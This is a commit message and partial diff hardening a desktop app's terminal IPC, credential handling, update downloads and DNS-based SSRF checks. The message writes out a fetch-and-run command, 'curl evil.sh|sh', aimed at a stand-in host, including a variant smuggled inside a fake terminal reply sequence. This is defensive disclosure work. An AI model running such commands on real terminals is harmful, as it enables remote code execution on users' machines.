fix(desktop): fix 11 security findings from a deepsec scan of the desktop app (#6065)

* fix(desktop): gate terminal writes and user activation on real OS input

The `needsUserActivation` gate asked the renderer about
`navigator.userActivation` via `frame.executeJavaScript`, which evaluates in
the page's main world — the same world as the compromised page the gate exists
to stop, which need only redefine `navigator.userActivation` to pass it. The
channels with no native confirmation behind them (`browser-credentials:forget`,
`forget-all`, `browser-agent:clear-browsing-data`) had that as their only
protection, so a background script could wipe the saved-password vault.

`terminal:write` had no second gate at all. It is a `send` channel, and the
send branch ran only the origin and feature checks, so an XSS'd or hostile app
origin reached arbitrary command execution: `terminal:start` for an id, then
`write(id, 'curl evil.sh|sh\r')` — a raw PTY write submits on the trailing
`\r`. The tool-authorization binding covers `terminal:execute-tool` only.

Both now answer from the main process's own record of OS input. Chromium
delivers every input event to main before the renderer sees it and page script
cannot synthesize one, so unlike panel focus (`terminal:focused`, a
renderer-asserted claim the same attacker can set) it is a real boundary.
Passive pointer traffic is excluded — `mouseMove`/`mouseEnter`/`pointerMove`
arrive whenever the cursor rests over the window.

* fix(desktop): reclaim tmux run temp directories that outlive their wait window

`startRun` makes a temp directory per run holding the tee target and the status
file, and only its handle can remove it. `runInTmux` disposed the handle on the
`outcome.done` branch only — on the still-running path the handle was a local
that went out of scope, and nothing polls that run again (`read` captures the
pane instead). With a 30s default wait, every longer command leaked its
`/tmp/sim-tmux-run-*` directory for the life of the process while `tee` kept
appending the full output to it.

Handles for still-running commands are now held per terminal and reclaimed by
the terminal's own lifecycle: `retire`/`dispose` release them all, and a new run
on the same terminal first reaps any whose status file has since appeared. No
reaper timer — the new-run path is already doing run bookkeeping. Live runs are
left alone, since their tee is still writing there.

Not a security issue: the directories are 0700 in the per-user tmpdir and tmux
reaps the window itself. It is unbounded disk and inode growth.

* fix(desktop): contain sign-in handoff failures when no window is available

`handleCallback` awaited `deps.ensureMainWindow()` as its first statement with
no try/catch, and index.ts dispatches it fire-and-forget as
`void authFlow.handleCallback(callback)`. The wired `ensureMainWindow` throws
`Main window unavailable`, and main registers no `unhandledRejection` handler,
so a user who closed the window while signing in through their browser turned
the loopback callback into an unhandled rejection. `beginLoginHandoff` had the
same shape, so both are fixed rather than one.

Both entry points now resolve the window through a helper that records the
failure via the existing `handoff_redeem_fail` event and returns null, and the
two `void` dispatch sites carry a `.catch()` backstop for anything the flows do
not record themselves. Not attacker-triggerable: `onLogin` fires only after
`matchesPending()` validates the state that only the user's own browser holds.

* fix(desktop): validate manual-update download urls against the scheme allowlist

`buildManualEngine` regex-extracted `url:` values from the manifest served by
the configured origin and handed the first `.dmg`/`.zip` straight to
`shell.openExternal` — the only openExternal in non-test code that skipped
`openExternalSafe`, whose own docs state "Every openExternal in the app goes
through here". A hostile feed, or a hostile self-host origin the user was
tricked into configuring, could return `version: 999.0.0` plus
`url: smb://attacker/share/x.dmg` or `file:///…`; both pass the suffix test, so
a Download click handed an arbitrary scheme to the macOS URL handler, launching
a registered protocol handler instead of downloading.

Candidates are now filtered with `isSafeExternalUrl` at selection, so an
unusable url is never advertised as an available update at all, and the open
goes through `openExternalSafe` so the allowlist also holds at the sink.
Loopback http stays allowed because `feedUrlForOrigin` accepts an http origin,
so a self-host on localhost is legitimate.

Reachability is capped: `detectSelfUpdateCapability` selects the
signature-verifying electron-updater engine on Developer-ID builds, so the
manual engine runs only on ad-hoc-signed local/CI prerelease builds.

* fix(desktop): scope credential presence grants to the operation proven

`provenUntil` was keyed on credentialId alone, and `authorizeForSecret` set and
read it without reference to what the caller was about to do. `copyCredential`
puts the plaintext on the clipboard from inside main and returns a boolean;
`revealCredential` returns the string itself to the renderer. With one
undifferentiated grant, approving a native "Copy password?" prompt silently
authorized a plaintext reveal for the remaining 30s with no second prompt — the
OS prompt is the only human-in-the-loop control on plaintext egress, and its
label described something weaker than what it granted.

Grants now carry their operation and are compared with an ordering rather than
equality: reveal is the stronger claim, so a reveal grant still covers a later
copy. That is deliberate, not laxity — it preserves the behaviour AUTH_GRACE_MS
was designed for (the plaintext is already on screen, so re-prompting to put
that same string on the clipboard buys nothing). Only the weaker-implies-
stronger direction is closed.

`operation` is required rather than optional so the compiler names every call
site; it found both.

Not addressed, deliberately: the non-biometric fallback still uses
`defaultId: 1`, so a reflexive Enter confirms. That is a UX change and is left
for a decision rather than folded in here.

* fix(desktop): DNS-check agent subresources that are readable or execute

The agent partition's onBeforeRequest ran the resolving guard for mainFrame and
subFrame only; everything else fell to isBlockedRequestUrl, which sees literal
IPs and returns false for any hostname by design. A public name with a static
private A record therefore reached internal services from a page the agent was
steered to — no rebinding required. The vectors that matter are the ones whose
response comes back or runs: a WebSocket to an internal server reads data frames
cross-origin because such servers commonly ignore Origin, and a script or xhr
response executes in the page or is readable.

Subresources now take isBlockedSubresourceUrl, with the verdict cached per host
(30s TTL, bounded at 256 entries, oldest evicted) so this is not a lookup per
asset. Images and fonts keep the synchronous path: high volume, not readable
cross-origin, leaving the load/error timing oracle as the accepted residual.

The exemption is expressed as what skips the check, not what gets it, so a
resource type Chromium labels unexpectedly fails safe into the checked path —
fetch is `xhr` on some versions and `other` on others, and an allowlist that
missed the label in use would silently reopen the hole.

Resolver errors fail closed, matching checkAgentUrl, and that verdict is not
cached so a transient failure does not stick. The deliberate loopback carve-out
is unchanged — isBlockedAddress already exempts it on both paths.

* fix(desktop): close three credential-disclosure gaps in agent page functions

Closed shadow roots. activeElementSecrecy is the only gate the driver consults
before dispatching trusted CDP keystrokes, and it descended focus solely through
`active.shadowRoot` — null by design for a closed root, while focus inside one
retargets to the host, whose tagName is never INPUT. So a password field in a
closed root reported 'safe', and Tab crosses closed boundaries natively. Now
treated like a cross-origin frame. Detected by focusability rather than by tag:
attachShadow accepts plain div/span/section as well as custom elements, so a
tag test would miss half of them, whereas an element that is not focusable in
its own right cannot be activeElement unless focus was retargeted out of a
shadow tree.

Multi-token autocomplete. isSecretField compared the whole attribute against
'current-password'/'new-password', but the spec allows space-separated detail
tokens and WebAuthn recommends `current-password webauthn`. Those values fell
through on exactly the type=text credential fields where autocomplete is the
only signal. Now split into tokens, in all seven copies — the duplication is
required by the `String(fn)` serialization contract, so consolidating was not an
option.

OTP and payment values. Deliberately NOT added to isSecretField: that helper
also gates keystrokes, so folding them in would have stopped the agent
completing a checkout or an OTP prompt — work it is legitimately asked to do.
A separate predicate withholds only the value at the two emission sites, and the
field is still reported with its real tag so the agent can fill it.

* fix(desktop): hand the panel occlusion frame only to a user-driven renderer

capturePanelSnapshot sent a JPEG of the agent browser's current page to the app
renderer, which is content that renderer's own JS cannot otherwise read — the
view is a separate process composited over the window. A compromised renderer
can drive set-panel-bounds, panel-action navigate and set-panel-occluded itself,
so it could aim the shared agent browser at a site with a persisted session and
collect its pixels by script alone, bypassing the tool-call binding that guards
browser_screenshot for exactly this reason.

The frame is now withheld unless the main process has seen recent real input in
that renderer, which is what an overlay opening actually represents. The
flicker-prevention behaviour is untouched: an empty capture already returns
before the send while `finally` still runs the occlusion, so "occlude without a
placeholder" is a path the state machine already handles rather than a new one.

* fix(desktop): act on adversarial review of the security fixes

Six review agents went through the branch line by line. Several of the fixes
were wrong, incomplete, or worse than the finding they closed.

terminal:write was gated on the whole channel, which is a functional break, not
a fix. That channel carries xterm.js's entire upstream stream, and much of it is
not typing: the PTY solicits replies the terminal must answer unprompted — DSR
cursor position (p10k/starship emit it every prompt), device attributes, focus
reports set by tmux and vim. Now only a payload that can submit (one containing
a newline) needs input behind it. Also stated plainly in the code: this is a
mitigation. Text without a newline still lands in the line buffer where the
user's own Enter submits it, and closing that needs the interactive path off the
renderer surface, not a better gate.

The panel occlusion gate is reverted outright. Occlusion is driven by any
element marked data-native-surface-overlay, which includes tooltips (hover, and
hover is deliberately not "deliberate input") and toasts (no input at all), so
the common case regressed. Worse, the renderer only ever sets panelSnapshot and
never clears it, so withholding a frame shows the PREVIOUS overlay's frame — the
exact defect panel.test.ts was written to prevent — while the already-delivered
frame stays readable. Net negative on both axes.

The credential grant ordering is inverted to exact match. reveal was treated as
dominating copy, but copy publishes plaintext to the macOS pasteboard: readable
by every process, persisted by clipboard managers past the 30s clear, and synced
to other devices by Universal Clipboard. The operations are incomparable.

Update downloads are constrained to the release asset prefix, not just to https.
The feed rewrites every entry to github.com/simstudioai/sim/releases/download/,
so nothing legitimate is excluded — while scheme-only validation still admitted
an attacker-hosted DMG that the download dialog walks the user through
installing, which is worse than the protocol-handler launch originally fixed.
The loopback exemption is dropped with it: no legitimate asset is ever http.
State goes to 'error', not 'idle', so a blocked shell is not told it is current.

Subresource DNS verdicts cache the promise, not the boolean. Caching only the
result left every request arriving before the first lookup settled to start its
own, and dns.lookup is getaddrinfo on the four-slot libuv threadpool shared with
every fs call in main — a page naming hundreds of hosts could stall the settings
write and the credential vault.

Also: an eighth copy of the credential-token vocabulary in the browser preload
was missed by the original commit while its comment claimed parity, so fill went
blind to `current-password webauthn`; the OTP/payment readback zeroed valueLength
and told the agent a successful fill was still empty, inviting a doubled code;
tagName comparisons are upper-cased for XHTML; DIALOG/VIDEO/AUDIO/EMBED/OBJECT
are focusable and no longer report opaque; drags count as input; a backwards
clock step no longer satisfies a recency gate; and clearing cache or profile now
clears resolved-host verdicts too.

The closed-shadow residual is documented rather than closed: a host carrying
tabindex or contenteditable still reports safe, and refusing those would block
Enter and Space on ordinary <div tabindex="0"> buttons, since a closed root is
indistinguishable from no root at all.

* refactor(security): one DNS resolver for every SSRF guard, checking all addresses

Five independent `dns.lookup` bodies existed — four in apps/sim
(validateUrlWithDNS, the database-host check, MCP domain-check, 1Password
Connect) and one in apps/desktop's agent url-guard. The four in apps/sim were
copy-paste identical, and two properties diverged in ways that mattered:

They classified ONE address. `resolved.find(family === 4) ?? resolved[0]`
picked an address to pin and then judged only that one, so a host publishing
both a public and a private record passed whenever the public record sorted
first. That is record order, not policy, and validateUrlWithDNS alone is reached
from ~70 call sites. Now every address is classified and the IPv4-preferred one
is still what gets returned to pin — the pinning rationale (Happy Eyeballs
fallback is stripped, and a pinned IPv6 address hangs on IPv4-only egress) is
untouched.

They had no deadline. Only the desktop copy bounded the lookup, so a hung
resolver could hold an apps/sim request handler open indefinitely. The shared
helper carries the 5s deadline, the swallowed late rejection, and the always
cleared timer.

`resolveHostAddresses` lands in `@sim/security/dns` as its own subpath, so the
`node:dns` dependency reaches only the servers that import it — apps/realtime
pulls `@sim/security/compare` and nothing else, and the prune graph is unchanged
at 14 workspaces.

Two lookups deliberately stay as they are: `createSsrfGuardedLookup` is a
socket-connect `LookupFunction` that needs raw entries with their family and
already validates every address, and desktop's per-host verdict cache keeps its
own loopback policy on top of the shared resolver.

The localhost carve-out is tightened as a consequence: it applies only when
every record is loopback, so `localhost` that also resolves to the LAN no longer
rides it.

* fix(security): filter refused DNS records instead of failing the host

validateUrlWithDNS rejected a host outright when any resolved address was
private, while createSsrfGuardedLookup in the same file filters the private
entries and connects to what remains. Filtering is equally safe — you pin a
surviving public address — and rejecting broke a split-horizon resolver that
answers with a private record alongside the public one, on a path with ~70 call
sites and no operator opt-out. The pin is re-preferred over the surviving set so
it can never be an address the filter just refused.

Also from the review round: the browser preload's isPasswordField and
findIdentifierField now split autocomplete tokens like the agent guards they
claim parity with (a WebAuthn `current-password webauthn` field was invisible to
credential fill); the subresource verdict cache holds the promise rather than the
boolean, so the requests one page fires at a host share a lookup instead of each
queueing its own getaddrinfo on the four-slot libuv threadpool that main's fs
calls also use; trailing-dot hosts normalize to one cache entry; the resolver
carries a distinct DnsTimeoutError so an outage is not reported as a missing
host; and clearHostVerdictCache is wired into both the profile wipe and the
cache-clear path, since a resolved-host classification is browsing-trail data.

* fix(desktop): invert the terminal-write gate, and finish the XHTML normalization

Three defects from the second review round, two of them in the previous
round's corrections.

The tagName upper-casing was half-applied and made things worse. `focusableItself`
compared the normalized tag while the frame-descent branch thirty lines below
still compared raw `active.tagName`. In an XHTML document — where tagName is
lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore
passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch
(active.tagName === 'iframe'), fell through, and returned 'safe': the verdict
that authorizes trusted CDP keystrokes. Before the correction the same page
returned 'opaque'. Now normalized once per loop body and used at every
comparison, in readActiveElementState too.

The submit gate enumerated the dangerous set, which is not a closed set. Besides
carriage return and newline, 0x04 hands a partial line straight to a
canonical-mode reader, and 0x0f is operate-and-get-next in bash and
accept-line-and-down-history in zsh — both execute the current line — and a
user's own inputrc or zle bindings can add more. Inverted: the replies the PTY
solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and
everything else is gated, so a binding nobody thought of fails closed.

The residual was understated. The window is satisfied by any input in the
renderer — a keystroke in the chat, a scroll, a drag — not by the user's own
Enter, so a looped payload lands the moment they touch anything, and while they
type in the terminal it is open continuously. Said plainly now, with what
closing it would actually take.

Also: credential grants are keyed on credential AND operation, so exact match no
longer prompts three times for reveal → copy → reveal when each was already
proven; the panel.ts comment the revert deleted collaterally is restored, so the
file leaves this branch untouched; updater's release-asset helpers no longer sit
between feedUrlForOrigin's TSDoc and its function, and the asset path is a
constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so
the recency windows cannot lapse mid-test on a loaded machine; and dead exports
(isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field,
and a shadowed loop binding are cleaned up.

* refactor(desktop): simplify what the security fixes added

Quality pass from four parallel reviews (reuse, simplification, efficiency,
altitude). No behavior change; every gate is unchanged.

Reuse. resolveHostAddresses now calls preferIpv4 instead of re-deriving the
IPv4-first rule inline — one 106-line file had two implementations of the rule
its own TSDoc says callers depend on. url-guard's three host-normalization sites
had two different rules (only one stripped a trailing dot); they share guardHost
now. os-auth's grace check gained the same backwards-clock guard input-activity
already had, since it is the same kind of security window. And a hand-rolled
IPv6 bracket strip in input-validation.server.ts now calls the
unwrapIpv6Brackets already imported at the top of that file.

Simplification. Credential grants are a nested Map rather than a composite
string key, which deletes grantKey, the NUL sentinel, and SECRET_OPERATIONS —
and makes revoke-by-credential a single delete, so a third operation added later
cannot be missed by a revoke that forgot to enumerate it. The 15-term
focusableItself chain is a local array. The 4-line token rationale was pasted
above seven required copies of a 3-line expression; it is stated once now, and
the duplicated isSensitiveValueField TSDoc likewise. PTY_REPLY is a labelled
pattern table rather than six alternations on one line. tagName is upper-cased
once per loop body instead of three times. A side-effecting .filter() is a loop.
senderHasUserGesture's TSDoc no longer documents the implementation it replaced.

Efficiency. The expired-first eviction sweep is removed: every entry gets the
same TTL and a refreshed host is re-inserted at the back, so insertion order IS
expiry order — the sweep could never find an entry the front eviction does not
already hold, and scanned all 256 on every insert to learn that. preferIpv4 uses
ipaddr.IPv4.isValid rather than isValid + parse, which parsed each address
twice. dispose() no longer copies the key set to then get and delete per key.

Also: validateDatabaseHost tests the allow-flag before scanning rather than
after, the blocked-address log line reports the address actually blocked rather
than an arbitrary record, and the preload's two autocomplete-token idioms became
one reader.

Deliberately not done, and why: moving PTY_REPLY into terminal/ and making the
channel gate a predicate (changes the dispatcher shape on both arms); a
consume-once submit gate (behavior change, needs a paste path); folding the
three-way request dispatch into one guardAgentRequest export; hoisting the
release-repo identity into packages/desktop-bridge, which is worth doing and
would make electron-builder.yml, update-feed.ts and updater.ts one fact instead
of three; a shared helper prelude in execInPage so isSecretField stops being
seven copies; and a CDP-sourced focus verdict so the driver stops trusting a
page-derived signal at all. The last three are the ones worth a follow-up.

* docs(desktop): correct comments that no longer match the code

Comment audit over the branch. ~75 lines removed, no rationale lost. Two of
these were actively misleading and are the reason the pass was worth running.

Three comments still described the terminal gate as newline-keyed after the
predicate was inverted to a reply allowlist, including one asserting "a raw
write only becomes command execution on the trailing \r" — which is exactly the
claim the inversion exists to refute, since 0x04 and 0x0f submit too. The flag
carried the same stale name and is now payloadNeedsDeliberateInput, since it
gates every payload that is not a solicited reply, not only submits.

A TSDoc block in the browser preload had been orphaned: the new
autocompleteTokens doc was inserted between isPasswordField and its own
comment, so the doc documented the wrong declaration.

The rest is duplication. The token-membership rationale had been collapsed to
six copies of a pointer at the wrong target — the module header explains the
duplication, not the token rule — so the pointers are gone and the rationale
stays where it is stated in full. The subresource-exemption reasoning was still
in three places; session.ts now points at the two url-guard TSDocs that own it.
The "every address is judged" reasoning was in four places when ResolvedHost
already documents it for every consumer. Also trimmed: a paragraph restating
RELEASE_ASSET_ORIGIN's own doc, the per-operation rationale repeated onto
AUTH_GRACE_MS, a PTY TSDoc enumerating what the inline labels already label, and
two lines inside one comment block that repeated each other.

Kept deliberately, and judged rather than skipped: the MITIGATION and RESIDUAL
notes, the String(fn) serialization contract in page-functions.ts's header, the
0x04/0x0f reasoning for running the allowlist the other way, the NTP-step and
double-callback notes, and the test comments explaining why a fixture is shaped
as it is. Those record decisions, which is what this repo comments.

* fix(desktop): stop a command riding inside a fake PTY reply, and fail closed in XHTML

Both findings are in this PR's own hardening.

The reply allowlist accepted a control byte in its body. DCS and OSC used
`[\s\S]*?` interiors, so a hostile renderer could wrap a whole command and its
submit inside a sequence shaped like a reply — `ESC ] 0;x CR curl evil.sh|sh CR
BEL` — and be waved through as machine-generated, skipping the deliberate-input
gate entirely and reopening the path the gate exists to close. Bodies are
printable-only now: a real DCS or OSC reply carries text terminated by ST or BEL
and never a control byte. X10 mouse is bounded the same way, since its three
bytes are offset by 32 and a control byte there is never legitimate either.

isSecretField compared tagName raw in all seven copies, and
isSensitiveValueField in both of its. tagName is lower-case for HTML elements in
an XHTML document, so every credential field there read as ordinary — the value
redaction and the keystroke refusal both failed open, on exactly the pages the
predicate exists for. The earlier round upper-cased the frame and focusability
comparisons and missed these nine. Normalized now, with the rule stated once in
the module header rather than nine times.

Both are covered by tests that fail against the previous form: a smuggled
command in each of the three affected patterns, a genuine reply of each still
forwarded, and a lower-case-tagName password field refused for both typing and
snapshot disclosure.

* fix(desktop): paste from main, and stop a reclaimed run dir printing into tmux

Fixes the two behavioural regressions rather than shipping them documented.

The context-menu paste could be silently dropped. It read the clipboard with
`await navigator.clipboard.readText()` and then wrote the text, so the write
landed after an await — and if that read outran the input-recency window (a
permission prompt, a slow read) the terminal-write gate refused it with no error
and no log, on an action the user had just asked for.

Reading in main removes the window entirely, and is the direction Electron
itself took: the `clipboard` module was removed from renderers under RFC 0019 so
page content cannot reach the clipboard, and the documented pattern is to use it
in the main process behind a narrow contextBridge method. So `terminal:paste` is
a gated invoke channel that reads the clipboard itself. It needs a real gesture
(the Paste click), but not the write gate — the bytes are the user's clipboard
rather than the caller's, so a compromised renderer can only replay what was
already copied instead of choosing it. `paste` is optional on the bridge and the
renderer falls back to the old path, so a shell that predates it is unaffected.

The tmux status write is silenced. Closing a terminal tab reclaims the run's
temp dir while the command keeps going in tmux. `tee` is unaffected — POSIX lets
it write on to the unlinked inode, and the space is reclaimed when it exits — but
the command's trailing `printf > .../status` then failed into the pipeline and
printed `No such file or directory` into the user's own tmux window, minutes
after they closed the tab. `2>/dev/null` on that one redirect keeps the reclaim
and drops the noise.
This commit is contained in:
Waleed
2026-07-29 16:16:28 -07:00
committed by GitHub
parent 25d8019a54
commit 4f776b7a13
34 changed files with 2105 additions and 188 deletions
@@ -140,6 +140,20 @@ describe('secret-field detection', () => {
],
['new-password field', '<input type="text" autocomplete="new-password" />'],
['uppercase autocomplete token', '<input type="text" autocomplete="Current-Password" />'],
// The spec allows space-separated detail tokens and WebAuthn recommends
// this exact value, so whole-string equality missed it.
[
'WebAuthn multi-token autocomplete',
'<input type="text" autocomplete="current-password webauthn" />',
],
[
'section-scoped autocomplete',
'<input type="text" autocomplete="section-login current-password" />',
],
[
'multi-token new-password with surrounding whitespace',
'<input type="text" autocomplete=" new-password webauthn " />',
],
]
it.each(secretCases)('clickElement refuses a %s', (_label, html) => {
@@ -276,6 +290,24 @@ describe('collectSnapshot', () => {
expect(outline).not.toContain('value=')
})
it.each([
['a one-time code', 'one-time-code', '123456'],
['a card number', 'cc-number', '4111111111111111'],
['a card security code', 'cc-csc', '737'],
['a card expiry', 'cc-exp', '12/29'],
])('withholds the value of %s while still listing the field', (_label, token, value) => {
document.body.innerHTML = `<input type="text" autocomplete="${token}" value="${value}" aria-label="Field" />`
visible(document.querySelector('input') as HTMLInputElement)
const outline = outlineOf(collectSnapshot())
// Not reported as a password-field: the agent must still be able to fill
// these, it just never learns what is already there.
expect(outline).not.toContain('password-field')
expect(outline).not.toContain(value)
expect(outline).toContain('value-withheld')
})
it('withholds the value of a revealed password field', () => {
document.body.innerHTML =
'<input type="text" autocomplete="current-password" value="hunter2" aria-label="Password" />'
@@ -317,6 +349,25 @@ describe('readActiveElementState', () => {
expect(readActiveElementState()).toMatchObject({ redacted: true, valuePreview: '' })
})
it.each([
['a one-time code', 'one-time-code', '123456'],
['a card number', 'cc-number', '4111111111111111'],
['a card security code', 'cc-csc', '737'],
])('withholds %s on readback but still confirms the fill', (_label, token, value) => {
document.body.innerHTML = `<input type="text" autocomplete="${token}" value="${value}" />`
setActiveElement(document, document.querySelector('input'))
// valueLength is kept: without it a successful type reads as "still empty"
// and the agent types the code a second time.
expect(readActiveElementState()).toEqual({
activeElement: 'input',
selectedChars: 0,
valueLength: value.length,
valuePreview: '',
redacted: true,
})
})
it('reports ordinary fields in full', () => {
document.body.innerHTML = '<input type="text" value="tokyo" />'
setActiveElement(document, document.querySelector('input'))
@@ -343,6 +394,35 @@ describe('readActiveElementState', () => {
})
})
describe('XHTML lower-case tagName', () => {
/** An element whose tagName reads lower-case, as it does in an XHTML document. */
function lowerCaseTagInput(html: string): HTMLInputElement {
document.body.innerHTML = html
const input = document.querySelector('input') as HTMLInputElement
Object.defineProperty(input, 'tagName', { configurable: true, get: () => 'input' })
return input
}
it('still refuses a password field whose tagName is lower-case', () => {
const input = lowerCaseTagInput('<input type="password" />')
register(visible(input))
expect(typeIntoElement(0, 'hunter2', false)).toEqual({ error: 'password' })
expect(input.value).toBe('')
})
it('still withholds the value of a lower-case-tagName credential field', () => {
const input = lowerCaseTagInput(
'<input type="password" value="hunter2" aria-label="Password" />'
)
visible(input)
const outline = outlineOf(collectSnapshot())
expect(outline).not.toContain('hunter2')
})
})
describe('activeElementSecrecy', () => {
it('reports safe for an ordinary field', () => {
document.body.innerHTML = '<input type="text" />'
@@ -386,6 +466,46 @@ describe('activeElementSecrecy', () => {
expect(activeElementSecrecy()).toBe('opaque')
})
it('reports opaque for a password field inside a CLOSED shadow root', () => {
const host = document.createElement('div')
document.body.append(host)
const shadow = host.attachShadow({ mode: 'closed' })
shadow.innerHTML = '<input type="password" />'
// Focus inside a closed root retargets to the host and `shadowRoot` reads
// null, which is exactly what the browser reports and what made this 'safe'.
setActiveElement(document, host)
expect(host.shadowRoot).toBeNull()
expect(activeElementSecrecy()).toBe('opaque')
})
it('reports opaque for a closed shadow root on a custom element', () => {
const host = document.createElement('my-login')
document.body.append(host)
host.attachShadow({ mode: 'closed' }).innerHTML = '<input autocomplete="new-password" />'
setActiveElement(document, host)
expect(activeElementSecrecy()).toBe('opaque')
})
it('still reports safe for a focused element that is focusable in its own right', () => {
// The false-positive guard: a div the page made focusable is focused
// itself, not hiding a shadow tree, so keystrokes are not refused.
document.body.innerHTML = '<div tabindex="0">menu</div>'
setActiveElement(document, document.querySelector('div'))
expect(activeElementSecrecy()).toBe('safe')
})
it('still reports safe for a focused contenteditable', () => {
document.body.innerHTML = '<div contenteditable="true">note</div>'
const editable = document.querySelector('div') as HTMLElement
Object.defineProperty(editable, 'isContentEditable', { get: () => true })
setActiveElement(document, editable)
expect(activeElementSecrecy()).toBe('safe')
})
it('descends into a same-origin frame instead of calling it opaque', () => {
const frame = document.createElement('iframe')
document.body.append(frame)
@@ -17,6 +17,11 @@
* same-origin iframe belongs to that frame's realm, so `instanceof` against
* the top frame's constructor returns false and would skip the check on
* exactly the nested login forms that need it most.
*
* Every tag comparison here is upper-cased. `tagName` is lower-case for HTML
* elements in an XHTML document, and a raw compare there reports every
* credential field as ordinary — failing open on both the value redaction and
* the keystroke refusal that read it.
*/
declare global {
@@ -99,13 +104,48 @@ export function collectSnapshot(): unknown {
}
const isSecretField = (el: Element | null): boolean => {
if (!el || el.tagName !== 'INPUT') return false
// Upper-cased: tagName is lower-case for HTML elements in an XHTML
// document, where a raw compare would report every credential field as
// ordinary — failing open on both the value redaction and the keystroke
// refusal that read this.
if (!el || String(el.tagName || '').toUpperCase() !== 'INPUT') return false
if (String((el as HTMLInputElement).type || '').toLowerCase() === 'password') return true
// A reveal toggle flips the field to type="text" without making its
// contents any less secret, and some forms never use type="password" at
// all. The autocomplete token is the page's own declaration either way.
// Space-separated detail tokens are spec-legal and WebAuthn recommends
// `current-password webauthn`, so whole-string equality missed real values
// on exactly the type=text credential fields where autocomplete is the
// only signal there is.
const hint = String(el.getAttribute('autocomplete') || '').toLowerCase()
return hint === 'current-password' || hint === 'new-password'
return hint
.split(/\s+/)
.some((token) => token === 'current-password' || token === 'new-password')
}
/**
* Fields whose value is as sensitive as a password but which the agent must
* still be able to FILL: one-time codes and payment details.
*
* Deliberately separate from isSecretField. That one also gates keystrokes
* (activeElementSecrecy feeds the driver's press-key guard), so folding these
* tokens into it would stop the agent completing a checkout or an OTP prompt —
* work it is legitimately asked to do. Only the value is withheld here.
*/
const isSensitiveValueField = (el: Element | null): boolean => {
if (!el || String(el.tagName || '').toUpperCase() !== 'INPUT') return false
const hint = String(el.getAttribute('autocomplete') || '').toLowerCase()
return hint
.split(/\s+/)
.some(
(token) =>
token === 'one-time-code' ||
token === 'cc-number' ||
token === 'cc-csc' ||
token === 'cc-exp' ||
token === 'cc-exp-month' ||
token === 'cc-exp-year'
)
}
const roleFor = (el: Element): string => {
@@ -170,7 +210,8 @@ export function collectSnapshot(): unknown {
// like any other. Redaction above is realm-safe and runs first, so
// widening this cannot expose a credential field.
const value = (el as HTMLInputElement).value
if (value) parts.push(`value="${cut(String(value), 120)}"`)
if (value && isSensitiveValueField(el)) parts.push('value-withheld')
else if (value) parts.push(`value="${cut(String(value), 120)}"`)
}
if (el.tagName === 'A') {
const href = el.getAttribute('href')
@@ -269,10 +310,12 @@ export function collectSnapshot(): unknown {
export function clickElement(id: number): unknown {
const isSecretField = (node: Element | null): boolean => {
if (!node || node.tagName !== 'INPUT') return false
if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false
if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true
const hint = String(node.getAttribute('autocomplete') || '').toLowerCase()
return hint === 'current-password' || hint === 'new-password'
return hint
.split(/\s+/)
.some((token) => token === 'current-password' || token === 'new-password')
}
const el = (window.__simAgentElements || [])[id]
@@ -319,10 +362,12 @@ export function clickElement(id: number): unknown {
*/
export function focusElementForTyping(id: number): unknown {
const isSecretField = (node: Element | null): boolean => {
if (!node || node.tagName !== 'INPUT') return false
if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false
if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true
const hint = String(node.getAttribute('autocomplete') || '').toLowerCase()
return hint === 'current-password' || hint === 'new-password'
return hint
.split(/\s+/)
.some((token) => token === 'current-password' || token === 'new-password')
}
const el = (window.__simAgentElements || [])[id]
@@ -370,10 +415,29 @@ export function focusElementForTyping(id: number): unknown {
*/
export function readActiveElementState(): unknown {
const isSecretField = (node: Element | null): boolean => {
if (!node || node.tagName !== 'INPUT') return false
if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false
if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true
const hint = String(node.getAttribute('autocomplete') || '').toLowerCase()
return hint === 'current-password' || hint === 'new-password'
return hint
.split(/\s+/)
.some((token) => token === 'current-password' || token === 'new-password')
}
/** Sensitive-but-fillable fields; see collectSnapshot's copy for why. */
const isSensitiveValueField = (node: Element | null): boolean => {
if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false
const hint = String(node.getAttribute('autocomplete') || '').toLowerCase()
return hint
.split(/\s+/)
.some(
(token) =>
token === 'one-time-code' ||
token === 'cc-number' ||
token === 'cc-csc' ||
token === 'cc-exp' ||
token === 'cc-exp-month' ||
token === 'cc-exp-year'
)
}
// Focus inside a frame or an open shadow root surfaces on the outer document
@@ -385,7 +449,12 @@ export function readActiveElementState(): unknown {
active = shadow.activeElement as HTMLElement
continue
}
if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') {
// Upper-cased for the same reason as in activeElementSecrecy: tagName is
// lower-case for HTML elements in an XHTML document.
if (
String(active.tagName || '').toUpperCase() === 'IFRAME' ||
String(active.tagName || '').toUpperCase() === 'FRAME'
) {
try {
const inner = (active as HTMLIFrameElement).contentDocument
if (inner?.activeElement && inner.activeElement !== inner.body) {
@@ -413,9 +482,26 @@ export function readActiveElementState(): unknown {
redacted: true,
}
}
// Only the preview is withheld, and the real tag is kept: the agent is allowed
// to fill these, so it still needs the readback this function exists for.
// Zeroing valueLength told it the field was empty after a successful type, and
// the natural next move is to type again — a doubled OTP or card number.
// A length is not a disclosure here; 6 and 16 are properties of the format.
if (isSensitiveValueField(active)) {
const field = active as HTMLInputElement
const current = String(field.value ?? '')
return {
activeElement: active.tagName.toLowerCase(),
selectedChars: Math.abs((field.selectionEnd ?? 0) - (field.selectionStart ?? 0)),
valueLength: current.length,
valuePreview: '',
redacted: true,
}
}
let value = ''
let selectedChars = 0
if (active.tagName === 'INPUT' || active.tagName === 'TEXTAREA') {
const activeTag = String(active.tagName || '').toUpperCase()
if (activeTag === 'INPUT' || activeTag === 'TEXTAREA') {
const field = active as HTMLInputElement | HTMLTextAreaElement
value = field.value
selectedChars = Math.abs((field.selectionEnd ?? 0) - (field.selectionStart ?? 0))
@@ -449,10 +535,12 @@ export function readActiveElementState(): unknown {
*/
export function activeElementSecrecy(): string {
